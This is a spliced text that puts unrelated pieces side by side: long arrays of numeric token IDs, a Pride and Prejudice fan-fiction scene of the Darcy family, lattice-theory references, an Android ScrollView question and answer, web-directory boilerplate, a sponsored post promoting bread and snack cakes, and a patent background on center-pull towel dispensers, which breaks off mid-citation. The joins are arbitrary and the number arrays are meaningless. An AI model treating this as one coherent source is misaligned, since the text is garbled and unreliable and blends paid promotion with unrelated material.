2302, 13, 309, 3091, 956, 368, 285, 23240, 731, 4266, 449, 187, 187, 39, 7337, 760, 33766, 285, 3977, 253, 1039, 15, 187, 187, 95, 3853, 3853, 3853, 3853, 3853, 187, 187, 28895, 951, 4824, 253, 17514, 14, 14653, 1824, 272, 476, 281, 521, 3722, 9320, 15, 754, 9355, 281, 1659, 352, 327, 253, 2829, 2822, 253, 3497, 835, 521, 4475, 7636, 281, 1790, 285, 3630, 275, 616, 2021, 6698, 15, 754, 3264, 13, 846, 253, 7827, 344, 574, 689, 28996, 275, 253, 6335, 13, 703, 1537, 1091, 627, 281, 1924, 20931, 292, 434, 806, 29992, 16507, 1223, 616, 3347, 21567, 15, 187, 187, 28895, 951, 574, 1869, 521, 1533, 369, 3426, 13, 285, 344, 812, 871, 642, 3687, 11010, 672, 344, 574, 7028, 12694, 15, 1292, 13, 344, 574, 644, 11464, 3430, 806, 672, 13, 816, 3618, 846, 616, 12142, 13, 703, 574, 8191, 779, 326, 703, 13282, 617, 9749, 369, 1955, 281, 253, 958, 326, 344, 369, 281, 320, 247, 3392, 13, 285, 969, 672, 275, 2393, 2552, 13, 20931, 292, 574, 1160, 521, 1039, 715, 253, 1533, 15, 187, 187, 28895, 951, 2206, 2822, 253, 39696, 285, 34572, 949, 253, 6698, 347, 344, 13308, 323, 521, 4475, 15, 754, 1239, 247, 1643, 3104, 273, 617, 2395, 273, 436, 1077, 1388, 581, 807, 3622, 15, 380, 3369, 5485, 13, 285, 344, 4581, 253, 1984, 594, 344, 812, 3698, 521, 4475, 9413, 521, 9140, 15, 187, 187, 3, 2302, 3120, 937, 703, 753, 15, 346, 1147, 3133, 309, 452, 247, 4279, 26930, 83, 13, 11761, 5938, 449, 1500, 16535, 285, 36280, 253, 12405, 13, 11196, 617, 2927, 285, 18727, 342, 11284, 347, 703, 858, 15, 187, 187, 3, 1394, 513, 452, 271, 26930, 83, 13, 533, 417, 594, 4279, 13, 619, 2389, 449, 187, 187, 3, 2042, 436, 26930, 83, 310, 417, 594, 4279, 422, 13, 2139, 13, 12518, 2028, 13, 858, 344, 417, 3553, 247, 3877, 865, 4058, 2927, 497, 45531, 342, 36067, 15, 187, 187, 28895, 951, 6225, 285, 7428, 281, 835, 521, 4475, 6225, 15, 754, 4925, 1475, 617, 285, 4845, 253, 6698, 327, 253, 2829, 5909, 352, 281, 835, 521, 9185, 2918, 253, 3239, 1223, 25661, 2810, 281, 617, 2472, 15, 346, 1328, 16632, 281, 1918, 368, 521, 3935, 275, 1436, 449, 187, 187, 2993, 10785, 617, 6174, 1475, 521, 7623, 15, 346, 1898, 752, 310, 436, 3935, 534, 619, 26930, 83, 16995, 281, 7257, 865, 187, 187, 3, 1147, 310, 247, 3935, 326, 310, 1097, 30643, 2159, 285, 16656, 336, 400, 1598, 1048, 449, 754, 39712, 264, 521, 3564, 3212, 617, 896, 15, 346, 5804, 368, 5476, 352, 865, 187, 187, 3, 13924, 13, 309, 1158, 309, 476, 15, 9876, 344, 2389, 479, 865, 187, 187, 3, 2214, 1024, 285, 1900, 449, 187, 187, 3, 2347, 1077, 27949, 1580, 309, 3091, 2389, 779, 323, 512, 673, 449, 1500, 11373, 598, 387, 779, 15, 187, 187, 3, 4045, 368, 751, 731, 865, 187, 187, 3, 510, 12405, 865, 1500, 17377, 387, 253, 29909, 21118, 15, 187, 187, 1328, 11522, 15, 346, 30271, 281, 24942, 434, 448, 356, 11078, 13, 309, 13037, 731, 4266, 15, 1583, 403, 417, 4555, 751, 253, 12405, 359, 20845, 327, 436, 1388, 1390, 807, 13, 533, 597, 403, 2074, 13, 285, 309, 574, 24942, 2836, 562, 271, 1711, 1824, 272, 476, 281, 897, 347, 253, 362, 511, 15, 1680, 352, 417, 1077, 1199, 751, 253, 581, 368, 908, 281, 1824, 634, 12405, 22760, 211, 253, 4394, 368, 574, 816, 6699, 31761, 327, 253, 1388, 309, 1313, 368, 865, 187, 187, 45150, 3531, 275, 521, 6174, 594, 326, 703, 812, 923, 253, 12405, 15, 346, 1394, 1869, 273, 512, 326, 1223, 368, 5055, 841, 865, 187, 187, 3, 42, 3407, 407, 4680, 273, 436, 449, 754, 8042, 281, 253, 1527, 6698, 3239, 15, 346, 510, 1388, 672, 368, 5821, 281, 1056, 479, 253, 1654, 10558, 273, 1821, 449, 187, 187, 3, 42, 574, 417, 3264, 281, 17019, 436, 1388, 937, 703, 753, 23727, 15, 346, 2042, 309, 574, 13, 309, 651, 452, 1119, 247, 9140, 323, 368, 15, 2596, 534, 7560, 619, 2389, 347, 973, 347, 841, 12405, 3984, 273, 13298, 449, 187, 187, 3, 13924, 13, 533, 309, 452, 10912, 323, 326, 347, 973, 449, 754, 4439, 617, 285, 7428, 896, 281, 521, 6951, 2822, 253, 39696, 2167, 344, 858, 417, 1790, 15 ]	No," said Mr. Bennet. "But it will not hurt for him to hear the names and see the pieces. I started Lizzy this way, and as I recall, Gardiner said she knew enough by the time she was five to assist him in beating you." "Indeed. I was quite impressed by her intelligence that day. In fact, it was that chance meeting which led us to the little man you hold now." Mr. Bennet held each piece up one more time and said its name. A little fist flicked out at the knight as it was held in front of him. "Ah, wise choice. The very move that needs to be made." Mr. Bennet replaced the pieces on the board in their original spots before making his move. "You are not going to claim he actually knew which piece needed to be moved, are you?" Matlock asked in astonishment. "He has not seen the board. He knows naught of the rules, and you held that piece closer to him than the other. You swayed his opinion." "He has no opinion to sway. He is not old enough to have formed any," retorted Mr. Bennet. "So you are determined to help him form it," said Matlock. "I should have known you would try such a thing." "Gentlemen," said Elizabeth as she placed her hands over her son's ears where he lay in his grandfather's arms. "I will gladly allow you to expose my child to many pursuits, but arguing over trivial matters is not one of them. Now, if you wish to continue your game with Bennet in attendance, I suggest you cease your silly grumblings." She slowly removed her hands from the baby's ears, and placing them on her hips, she gave her father a firm stare. "And no more port." "It was only a taste." Her father said weakly. She raised a brow in challenge. "Very well, no more port." A smile formed on his lips. "I will stick to brandy and wine." "And we shall not argue," chimed in Matlock. "We shall only debate." Elizabeth shook her head and sighed. "You are incorrigible." Bennet started to fuss and turn to find the source of his mother's voice. Elizabeth took him from her father and snuggled him close. She knew some in society would criticize her for being such a doting mama and not hiring a wet nurse, but these precious moments were so fleeting. He was growing so quickly. "I shall have you know that if anyone is going to help my son form his opinions, it will be his mother. He shall know how to deal with the likes of you." She laughed as the two gentlemen groaned. "Have you considered that he is a Bennet and a Darcy and, therefore, a Fitzwilliam? With such a lineage and such caring relatives, he shall have no option but to be a success." "True, true," said Matlock as he placed his fingers on a piece to be moved. Elizabeth cleared her throat and shook her head. He moved his hand to a different piece, and she smiled. "Such treachery. Given to my enemy at the hand of my own daughter," exclaimed her father. Elizabeth laughed. "Have I given you to your enemy or have I given your enemy to you? Look carefully, gentlemen, the match could go either way. I shall return to see who is standing after this young man is safely out of hearing range when the oaths begin to flow." She kissed her son's head. "Time for a rest young man. We shall leave the foolish old men to argue in peace. When you are older, I will teach you how to win every match in which you engage should you so wish, whether your opponent is your grandfather, your great uncle, or even your father. However, there are times when losing is more advantageous." Mr. Bennet and Matlock erupted into peals of laughter. "Do you suppose he even realizes she allows him to win?" asked Matlock. ~~~~~~ Darcy, who had been standing just outside the garden door listening for some minutes, smiled to himself. After he had heard the story of Matlock's first meeting with Elizabeth, he had, on a number of occasions, tried unsuccessfully to lose. It had become obvious to him as the games became more of a giving away rather than a keeping of pieces that she was indeed allowing him to win, and from the look she had just directed toward him through the open garden door as she spoke, she knew he was not unaware of her scheming. He snipped one last flower to place in the basket he carried. His gardener stood a ways off watching warily. Darcy chuckled to himself. At least, Foster no longer stood at his shoulder as he cut flowers for his wife. "Why do you not allow me to do that for you, sir?" he would often ask. "I am capable of gathering flowers, Foster," he would reply. "I promise to do so with care. No ill shall befall your garden." Eventually, Foster had decided his master did indeed know what he was about and left him to gather almost on his own. Still, he would busy himself with work nearby, always vigilant should his assistance be needed or wanted. Today, Darcy decided the gardener's help might indeed be warranted. "Foster," he called. "Do you have a container, perhaps a small watering can I might use to hold these flowers?" The grey-haired gardener considered his master for a moment. There had been many strange requests in the last year, but this was new. "Are you sure you wish an old can, sir?" "Indeed, I do, but a smallish one. Of course, if you prefer, I can gather a larger number and use a larger can." Darcy smiled at the man whose eyes grew round with unease. "I only wished to clarify your need, sir. I have just the thing. Do you wish me to place the flowers in it for you?" "No, I shall follow you and arrange them myself." Foster only bowed and led the way. ~~~~~~ Darcy carried the flower-filled watering can to his bed chamber. He planned to place it on the table near the window where his wife loved to sit and write in their family journal. He expected, after the conversation he had overheard in the library, she might return there to record Bennet's first chess lesson while their son slept. Darcy had thought his world was complete, and he could know no greater joy when he had married Elizabeth. But, he had been proven wrong first when, just weeks after their wedding, she had informed him that she suspected her illness was due to the fact that he was to be a father, and again when in early May, Bennet had made his way into the world. Darcy sat near the fireplace and flipped through the journal as he waited for his wife. He read a few lines of her account of this very day one year ago. The door opened, and he closed the book so he could watch his wife discover his gift. "No card," she said. "It seems I have a secret admirer, dear husband." She bent and smelled the flowers, closing her eyes and smiling with pleasure as she did. "You do have an admirer, but not so secret, my love." "If this admirer is not so secretive, why, pray tell, did he not leave a note?" Her eyes were sparkling with amusement. Darcy stood and walked to where his wife stood. He reached around her and placed the journal on the table opening it to where his finger held the page while leaning close to her ear. "He wished to give you his message in person." She wound her arms around his neck. "And what is this message which my admirer wishes to deliver?" "It is a message that is both terribly short and inconceivably long." He clasped his hands behind her back. "Can you guess it?" "Ah, I think I can. Does he love me?" "For now and always." "How very fortunate since I shall love him for all time." She smiled up at him. "Do you like them?" "The flowers?" She glanced at the bouquet. He nodded. "Much to Foster's chagrin, I gathered them myself. They are not exactly like the flowers we tended on this day last year, but they are similar, and I had Foster dig out an old watering can to use as the vase. Is it not very much like the one you used to water your flowers ─ the ones you had just finished planting on the day I met you?" Elizabeth turned in his arms so that she could see the flowers. "You thought of all that while you picked these?" "I began by thinking of this." He pointed to the open journal page. "The day when you agreed to make me the happiest of men." "I had not expected to celebrate this day," she said softly. "If I had, I would have found a gift for you. One which spoke my love as well as these flowers speak of yours." "Ah, but I have arranged for that as well." He released her and walked back to his chair near the fireplace though he did not sit.
[ 5, 50265, 5, 18, 5, 50265, 5, 18, 5, 50265, 5, 18, 5, 50264, 5, 18, 5, 50262, 5, 18, 5, 50263, 5, 18, 5, 50262, 5, 18, 5, 50263, 5, 18, 5, 50263, 5, 18, 5, 187, 187, 60, 740, 1181, 187, 187, 55, 15, 575, 24900, 371, 22217, 13, 475, 510, 5161, 273, 6486, 40940, 2992, 5201, 6713, 22718, 11003, 313, 14209, 10, 14114, 14, 14555, 15, 187, 187, 40, 15, 575, 3594, 12271, 8260, 13, 475, 13425, 418, 9772, 15977, 2992, 378, 11131, 46276, 4537, 7188, 14293, 13, 8373, 293, 6469, 15, 187, 187, 43, 15, 58, 15, 575, 18581, 909, 8311, 13, 475, 2374, 253, 13782, 273, 15744, 4561, 23178, 40940, 2992, 1777, 15, 37, 15, 380, 5114, 13, 2499, 273, 659, 22220, 37298, 348, 13, 4695, 15, 187, 187, 46, 15, 575, 37633, 13, 475, 34238, 17424, 579, 36115, 3807, 830, 1657, 14474, 317, 864, 2992, 22077, 7211, 13, 23309, 7223, 13, 8210, 15, 187, 187, 46, 15, 575, 37633, 13, 475, 24408, 272, 2710, 3510, 273, 40940, 15744, 4561, 407, 803, 1507, 2992, 5838, 1073, 1111, 24674, 66, 299, 14654, 3737, 884, 313, 9595, 10, 8688, 14, 8196, 15, 353, 15, 575, 37633, 13, 475, 10203, 839, 512, 14127, 5083, 23768, 323, 23972, 14, 52, 1194, 13, 275, 9008, 2992, 187, 187, 51, 15, 575, 56, 4002, 13, 475, 2374, 40940, 15744, 4561, 407, 6486, 10571, 6960, 5239, 2992, 10595, 15, 8684, 15, 14162, 15, 3344, 375, 378, 10270, 2284, 14752, 13, 268, 15, 22, 3593, 14, 43114, 15, 187, 187, 41, 15, 575, 45, 518, 2152, 13, 475, 45, 34270, 15744, 4561, 407, 271, 1340, 285, 24279, 2176, 14493, 2992, 9262, 15, 187, 187, 56, 15, 51, 15, 575, 53, 4462, 280, 6458, 453, 13, 475, 510, 1959, 4336, 18838, 422, 10979, 689, 247, 803, 292, 2992, 38621, 21312, 261, 3127, 313, 15117, 10, 14114, 14, 13743, 15, 187, 187, 58, 543, 3987, 8182, 13, 475, 13425, 1025, 3019, 52, 13, 42, 16550, 11984, 1959, 4336, 18838, 422, 40940, 4561, 407, 803, 1507, 2992, 13740, 37259, 24703, 8988, 313, 11496, 10, 16918, 14, 20520, 15, 187, 187, 5180, 18, 5218, 844, 908, 669, 1637, 13, 393, 2461, 5, 3185, 273, 370, 66, 13, 270, 5, 275, 1008, 56, 20, 62, 984, 370, 66, 5, 285, 370, 67, 5, 452, 1529, 4495, 275, 253, 1246, 3929, 15, 187, 187, 5180, 19, 5218, 28285, 326, 5734, 4767, 5010, 13, 773, 6017, 300, 9772, 668, 2097, 669, 19406, 2911, 6017, 300, 9772, 15, 380, 3300, 300, 9772, 370, 39, 2253, 19406, 313, 49, 13, 1926, 1179, 416, 6580, 310, 247, 2714, 1083, 273, 247, 10898, 8697, 3921, 71, 16107, 3559, 407, 21025, 285, 2493, 13663, 6102, 17268, 403, 1900, 4451, 598, 281, 20169, 15, 187, 187, 5180, 20, 5218, 743, 3921, 40150, 12003, 4622, 5426, 273, 3019, 49, 1337, 2760, 19406, 4244, 891, 15, 70, 15, 581, 326, 32547, 247, 11616, 3300, 300, 9772, 370, 52, 5, 310, 1896, 15, 48627, 13, 1016, 803, 292, 3019, 49, 1337, 282, 1009, 476, 320, 18839, 281, 247, 7898, 3300, 300, 9772, 407, 41685, 1316, 272, 327, 667, 20077, 370, 57, 64, 74, 61, 11861, 367, 5, 323, 534, 370, 8403, 9, 57, 64, 74, 1009, 6569, 281, 2226, 275, 3019, 49, 1337, 282, 4244, 285, 407, 13947, 253, 7898, 4254, 816, 323, 841, 370, 57, 64, 74, 1352, 2064, 778, 3490, 253, 5426, 273, 3081, 669, 2760, 19406, 714, 5, 533, 588, 417, 1421, 281, 10435, 11297, 15, 17766, 326, 1008, 25923, 8260, 62, 760, 19401, 3921, 26458, 4622, 7898, 5871, 15, 2064, 651, 320, 1512, 29190, 323, 441, 275, 253, 24590, 15, 187, 187, 5180, 21, 5218, 1198, 440, 16586, 5239, 370, 49, 5, 436, 556, 644, 11464, 407, 367, 15, 353, 15, 17353, 1342, 275, 22715, 13, 3738, 500, 15, 378, 15, 15963, 3054, 326, 8229, 1306, 78, 6786, 9093, 253, 1072, 275, 18471, 15, 380, 3626, 6880, 281, 803, 1507, 3019, 49, 1337, 282, 1009, 310, 1955, 281, 416, 15, 367, 15, 37723, 11448, 18824, 15, 2719, 287, 1382, 247, 17926, 906, 273, 416, 15, 329, 15, 19172, 13, 388, 15, 43247, 2152, 1008, 77, 518, 2152, 62, 18445, 342, 253, 10979, 15744, 4561, 407, 3019, 49, 1337, 282, 1009, 285, 23000, 24279, 2176, 6486, 27022, 285, 16382, 275, 3019, 49, 1337, 282, 3822, 187, 50, 27, 187, 187, 5430, 281, 4993, 4959, 14084, 3145, 4898, 32, 187, 187, 42, 1353, 2820, 281, 2794, 247, 12806, 342, 2709, 16020, 13, 1292, 512, 16020, 369, 417, 8653, 327, 29891, 13, 1893, 891, 908, 14084, 1859, 533, 1024, 891, 452, 581, 1895, 984, 273, 4114, 2460, 313, 4609, 310, 273, 1029, 6064, 481, 3954, 891, 1353, 2970, 1077, 1781, 6325, 2317, 762, 846, 16020, 15, 7764, 1804, 247, 2900, 849, 476, 891, 4993, 14084, 3145, 288, 429, 594, 326, 352, 2506, 626, 921, 253, 2317, 762, 16020, 15, 187, 3022, 831, 1163, 23954, 342, 3168, 4114, 310, 28680, 9114, 7985, 3601, 285, 745, 3168, 2170, 310, 4114, 2460, 15, 187, 187, 34, 27, 187, 187, 510, 1682, 2900, 651, 320, 281, 897, 271, 20420, 25180, 2460, 15, 1310, 368, 760, 971, 281, 3148, 629, 273, 253, 2460, 13, 533, 253, 2460, 310, 247, 1029, 6064, 2460, 13, 840, 368, 403, 31160, 5300, 407, 10935, 253, 2862, 2460, 15, 187, 1394, 812, 546, 10483, 253, 43103, 3145, 1561, 1529, 9182, 13, 285, 873, 253, 4114, 273, 634, 2885, 1859, 281, 320, 5913, 4114, 368, 8327, 15, 6618, 253, 4898, 273, 1097, 6849, 9113, 285, 368, 943, 5115, 634, 6799, 906, 15, 187, 510, 19868, 651, 320, 187, 187, 3145, 313, 3113, 4114, 2460, 10, 187, 187, 23772, 3145, 342, 16020, 535, 5623, 15318, 329, 17855, 187, 187, 2042, 368, 1089, 326, 359, 403, 5816, 247, 7140, 13, 840, 4496, 1804, 352, 3066, 253, 686, 49969, 247, 26891, 8, 3048, 387, 253, 5004, 273, 253, 7140, 7223, 15, 1198, 625, 1491, 327, 29315, 247, 2670, 368, 476, 1239, 776, 9617, 19529, 9600, 15, 187, 187, 20330, 6317, 187, 187, 510, 9617, 556, 644, 3515, 1024, 323, 689, 884, 1107, 285, 594, 359, 4425, 281, 1918, 352, 247, 747, 1007, 15, 844, 3078, 281, 1978, 253, 1072, 7138, 285, 3740, 533, 342, 247, 5777, 9300, 2216, 15, 1198, 625, 1491, 285, 643, 9617, 3668, 4496, 5532, 1060, 15, 1552, 310, 247, 24834, 7827, 3542, 407, 479, 327, 11136, 273, 3035, 1866, 8420, 457, 84, 8942, 15, 380, 11626, 285, 2505, 403, 512, 7477, 15, 187, 187, 1466, 2454, 352, 13, 2243, 457, 84, 403, 10000, 2, 2726, 3253, 326, 3249, 2112, 342, 253, 896, 281, 2143, 10934, 13, 352, 476, 1928, 7479, 2403, 2119, 368, 3584, 634, 1429, 247, 11157, 326, 597, 588, 417, 760, 2389, 13, 533, 310, 671, 5875, 323, 731, 1512, 15, 2064, 457, 84, 835, 13375, 457, 84, 3972, 5410, 8942, 45782, 285, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 1705, 715, 1132, 15, 187, 187, 1909, 368, 2168, 778, 871, 13, 309, 717, 247, 2243, 281, 247, 1077, 28378, 285, 1442, 30043, 577, 807, 1711, 15, 754, 556, 2176, 43915, 661, 670, 779, 326, 1056, 22485, 247, 2143, 11157, 3782, 11132, 15, 754, 556, 247, 10864, 1618, 273, 1841, 344, 1912, 457, 85, 6008, 275, 521, 11157, 13, 533, 309, 717, 9995, 281, 1333, 326, 13375, 457, 84, 3972, 5410, 8942, 45782, 285, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 403, 1633, 359, 476, 1097, 5194, 327, 2, 187, 187, 38603, 457, 84, 3972, 5410, 8942, 45782, 310, 31065, 247, 2243, 84, 1682, 3331, 2, 733, 3386, 387, 1878, 854, 23891, 390, 625, 273, 2644, 19786, 275, 1046, 9417, 342, 642, 13345, 26791, 13, 9830, 390, 1029, 14, 71, 42437, 14128, 30121, 15, 733, 671, 3249, 275, 512, 1027, 19112, 534, 476, 1361, 1818, 598, 11157, 672, 634, 1652, 581, 310, 5471, 11870, 273, 253, 773, 12850, 6598, 187, 187, 31826, 247, 13375, 457, 84, 3972, 5410, 8942, 25749, 342, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 285, 368, 452, 247, 3761, 1160, 275, 2243, 13926, 2, 9240, 36766, 1652, 26574, 403, 247, 24897, 485, 13, 794, 33503, 9670, 32487, 323, 253, 11157, 3364, 285, 1160, 342, 1524, 12696, 15, 6975, 616, 5875, 4828, 629, 13, 597, 403, 671, 1029, 269, 42437, 14128, 30121, 285, 811, 4195, 1959, 15, 3771, 15331, 247, 1652, 7351, 275, 253, 11157, 3817, 285, 2118, 327, 342, 634, 4131, 2, 47708, 1475, 387, 253, 5004, 273, 253, 1501, 323, 634, 4839, 281, 3330, 13375, 457, 84, 3972, 5410, 8942, 10238, 285, 3035, 1866, 8420, 457, 84, 8942, 11573, 378, 3254, 14313, 11982, 7305, 11188, 3016, 247, 370, 1099, 2448, 16500, 40323, 9858, 2, 187, 187, 53, 9518, 387, 896, 14, 936, 14, 19221, 13, 13375, 457, 84, 3972, 5410, 8942, 45782, 285, 11573, 378, 3254, 11982, 7305, 1663, 403, 253, 7813, 273, 253, 418, 3204, 3364, 2, 6201, 10344, 285, 12725, 634, 1429, 342, 1097, 12461, 13, 9075, 285, 794, 2, 2325, 2119, 281, 2451, 562, 253, 7813, 273, 253, 418, 3204, 3364, 370, 740, 13, 933, 46384, 19760, 24516, 296, 1582, 323, 634, 4839, 281, 3330, 247, 370, 740, 13, 933, 46384, 19760, 323, 634, 1652, 581, 2, 187, 187, 24397, 323, 247, 10995, 45919, 25749, 2934, 326, 634, 1429, 588, 2389, 32, 9423, 436, 562, 2, 187, 187, 25392, 378, 3254, 708, 427, 2478, 3972, 5410, 21803, 18715, 535, 1628, 21972, 3785, 668, 32895, 398, 323, 38951, 12112, 8335, 2144, 13, 824, 347, 2929, 41204, 285, 253, 751, 13, 403, 973, 1929, 275, 253, 1445, 15, 5197, 3785, 32895, 398, 15313, 616, 1416, 432, 253, 1511, 273, 8335, 2144, 534, 597, 47564, 15, 380, 8335, 2144, 310, 5431, 2530, 275, 253, 830, 273, 247, 4055, 3785, 773, 7585, 1425, 380, 2144, 11616, 253, 4384, 310, 4272, 715, 13358, 14526, 407, 26549, 14, 522, 435, 13, 17430, 3104, 273, 27024, 569, 275, 253, 4384, 15, 380, 4384, 310, 5431, 14436, 4830, 3139, 285, 840, 10785, 715, 247, 4533, 275, 534, 253, 1421, 990, 8725, 432, 253, 4055, 273, 253, 4533, 15, 380, 4384, 310, 10357, 517, 432, 253, 4055, 273, 253, 4533, 407, 14252, 327, 253, 1421, 990, 15, 187, 21972, 3785, 32895, 398, 908, 281, 47564, 436, 1511, 273, 4384, 2144, 5431, 2882, 273, 247, 32895, 254, 8039, 285, 247, 2613, 1561, 253, 8039, 323, 8109, 247, 4533, 273, 253, 4384, 2144, 15, 329, 773, 2369, 12610, 668, 1907, 247, 3402, 13947, 247, 3839, 47233, 6703, 10056, 1106, 7024, 432, 253, 2613, 390, 8039, 15, 380, 4384, 310, 4817, 949, 253, 28181, 347, 352, 310, 7320, 562, 273, 253, 32895, 254, 407, 253, 2608, 15, 380, 28181, 310, 25180, 824, 326, 253, 2831, 14, 20382, 2170, 273, 253, 6891, 383, 5110, 273, 253, 10056, 1106, 310, 5777, 1679, 685, 253, 3576, 2831, 14, 20382, 2170, 273, 253, 4384, 2144, 15, 380, 28181, 3400, 269, 1467, 1593, 5052, 281, 4866, 273, 253, 4384, 347, 352, 310, 7320, 1977, 432, 253, 32895, 254, 407, 253, 2608, 15, 187, 9770, 2144, 310, 7644, 8821, 672, 253, 2608, 650, 284, 793, 253, 4283, 990, 273, 253, 4384, 3345, 253, 32895, 254, 285, 25612, 253, 4283, 990, 1977, 432, 253, 32895, 254, 15, 380, 3785, 3490, 3732, 407, 253, 2608, 5997, 253, 4384, 281, 10357, 527, 432, 253, 4055, 273, 253, 4533, 15, 1310, 253, 32895, 254, 17209, 347, 6034, 13, 5052, 281, 253, 3785, 3490, 3732, 407, 28181, 588, 2847, 247, 2014, 8335, 273, 253, 4384, 2144, 281, 16024, 2112, 253, 27024, 318, 1386, 3345, 273, 253, 32895, 254, 875, 253, 28181, 285, 253, 4283, 5024, 273, 253, 4384, 15, 20599, 273, 4055, 3785, 32895, 398, 2486, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 25, 2358, 13, 26140, 313, 36, 706, 375, 582, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 49002, 13, 49909, 313, 3594, 26341, 1162, 355, 11507, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 40629, 13, 24117, 313, 10859, 25374, 10, 285, 530, 15, 52, 15, 2790, 15, 1621, 15, 608, 13, 16763, 13, 24614, 313, 46, 836, 90, 481, 187, 21972, 3785, 32895, 398, 273, 253, 2720, 1445, 403, 2256, 281, 247, 1180, 273, 1774, 23797, 15, 2596, 18928, 310, 326, 253, 4229, 1979, 273, 253, 28181, 10056, 1106, 35979, 2176, 7364, 327, 253 ]	$ $1$ $1$ $1$ $1$ $1$ $1$ $1$ $1$ $1$ [10]{} V. Duquenne, The core of finite lattices, Discrete Mathematics 88 (1991) 133-147. G. Grätzer, General Lattice Theory, Birkhäuser Verlag, Basel 2003. J.Y. Semegni, On the computation of freely generated modular lattices, Ph.D. Thesis, University of Stellenbosch, 2008. M. Wild, Halbgruppen und formule Sprachen, lecture notes, 163 pages, 1997. M. Wild, Computing various types of lattices freely generated by posets, Note di matematica e fisica 10 (1999) 99-128. M. Wild, Generating all satisfying truth assignments for Horn-SAT, in preparation, R. Wille, On lattices freely generated by finite partially ordered sets, Coll. Math. Soc. Janos Bolyai 1975, p.581-593. H. Lakser, Lattices freely generated by an order and preserving certain bounds, submitted. W.R. Tunnicliffe, The free completely distributive lattice over a poset, Algebra Universalis 21 (1985) 133-135. Yongming Li, Generalized $(S,I)$-complete free completely distributive lattices generated by posets, Semigroup Forum 57 (1998) 240-248. [^1]: We used $\alpha, \beta$ instead of $a, b$ in [@W3] because $a$ and $b$ have another meaning in the present article. [^2]: Recall that unless stated otherwise, “semilattice” means $\vee$-semilattice. The semilattice $F_\vee (P, {\cal R})$ is a special case of a universal algebra [finitely presented by generators and relations.]{} Such creatures are always unique up to isomorphism. [^3]: An [intrinsic]{} definition of $(P,\bigvee)$, i.e. one that avoids a comprising semilattice $S$ is possible. Essentially, each poset $(P,\le)$ can be enriched to a partial semilattice by focussing on any subsets $X_i\subseteq P$ for which $sup(X_i)$ happens to exist in $(P,\le)$, and by defining the partial operation just for these $X_i$. That may force the definition of additional $\bigvee Y$ but will not lead to contradictions. Notice that [@gratzer] only considers [binary]{} partial operations. That would be too restrictive for us in the sequel. [^4]: For unordered sets $P$ this has been proven by P. M. Whitman in 1941, although J. B. Nation states that Skolem achieved essentially the same in 1920. The natural extension to posets $(P,\le)$ is due to R. P. Dilworth 1945. Reproving a 1964 result of R. A. Dean, H. Lakser [@lakser] dealt with the lattice freely generated by $(P,\le)$ and additionally preserving certain finite joins and meets in $(P,\le)$. Q: how to fix android scrollView height? I'm trying to create a layout with multiple buttons, But all buttons was not displayed on Screen, So i used scroll view but now i have one problem because of background image (which is of high resolution). Now i'm getting very large empty space under after buttons. Please suggest a solution how can i fix scrollView hight so that it doesn't show the space under buttons. like This :Area with white background is Moblie visible screen and off white area is background image. A: The best solution would be to use an appropriately sized image. If you only want to display part of the image, but the image is a high resolution image, then you are wasting resources by loading the entire image. You could enclose the ScrollView within another View, and set the background of your parent view to be whatever background you desire. Set the height of both views correctly and you should achieve your desired result. The hierarchy would be View (with background image) ScrollView with buttons Submitting A Site If you find that we are missing a category, then please suggest it via the 'Suggest a Category' link at the bottom of the category pages. For more information on submitting a site you can read our directory submission guidelines. Directory News The directory has been running now for over 10 years and so we decided to give it a new look. We wanted to keep the same brand and style but with a slightly updated design. For more information and other directory news please click here.This is a sponsored conversation written by me on behalf of Entenmann’s®. The opinions and text are all mine. Let face it, mom’s are busy! With everything that comes along with the back to school routine, it can feel impossible making sure you pack your child a lunch that they will not only love, but is also healthy for them too. That’s where Nature’s Harvest® Bread and Entenmann’s® Little Bites™ Snacks come into play. As you already may know, I am a mom to a very energetic and finicky 4 year old. He has certain quirks about him that make packing a school lunch particularly challenging. He has a giant list of things he won’t eat in his lunch, but I am glad to say that Nature’s Harvest® Bread and Entenmann’s® Little Bites™ Snacks are something we can both agree on! Nature’s Harvest® Bread is secretly a moms best friend! It features at least 8 grams or more of whole grains in every serving with no artificial flavors, colors or high-fructose corn syrup. It also comes in all different varieties which can help change up lunch when your little one is feeling tired of the “norm”. Pair a Nature’s Harvest® sandwich with Entenmann’s® Little Bites™ Snacks and you have a match made in mom heaven! Those tasty little treats are a wholesome, fun snack perfectly packaged for the lunchbox and made with real ingredients. Like their healthy counter part, they are also high fructose corn syrup and trans fa free. Just toss a little bag in the lunch box and move on with your morning! Stick around at the bottom of the post for your chance to win Nature’s Harvest® bread and Entenmann’s® Little Bites™ Snacks PLUS a $25 American Express Gift Card! Together at back-to-school, Nature’s Harvest® Bread and Little Bites Snacks really are the Life of the Lunchbox! Surprise and delight your child with both nutrition, taste and fun! Be sure to check out the Life of the Lunchbox $10,000 Savings Bond sweepstakes for your chance to win a $10,000 Savings Bond for your little one! Looking for a creative DIY sandwich idea that your child will love? Check this out! Little Bites & Natures Harvest Prize Pack “Center pull” dispensers for dispensing flexible sheet material, such as paper towels and the like, are well known in the art. Center pull dispensers derive their name from the type of sheet material which they dispense. The sheet material is typically provided in the form of a center pull “web.” The material comprising the web is divided into discrete sheets by spaced-apart, transverse lines of perforations in the web. The web is typically rolled onto itself and then wound into a roll in which the lead end extends from the center of the roll. The web is unwound from the center of the roll by pulling on the lead end. Center pull dispensers used to dispense this type of web material typically consist of a dispenser housing and a base within the housing for supporting a roll of the web material. A “nozzle” having a wall defining a generally conical inner passageway depends from the base or housing. The web is passed through the nozzle as it is pulled out of the dispenser by the user. The nozzle is sized such that the cross-sectional area of the narrowest portion of the passageway is slightly less than the effective cross-sectional area of the web material. The nozzle provides frictional resistance to movement of the web as it is pulled away from the dispenser by the user. Web material is dispensed when the user grasps the leading end of the web outside the dispenser and pulls the leading end away from the dispenser. The pull force applied by the user causes the web to unwind from the center of the roll. If the dispenser operates as intended, resistance to the pull force applied by nozzle will cause a single sheet of the web material to tear along the perforation line outside of the dispenser between the nozzle and the leading edge of the web. Examples of center pull dispensers include U.S. Pat. No. 5,868,346 (Cobos), U.S. Pat. No. 5,765,718 (Grasso et al.), U.S. Pat. No. 5,762,287 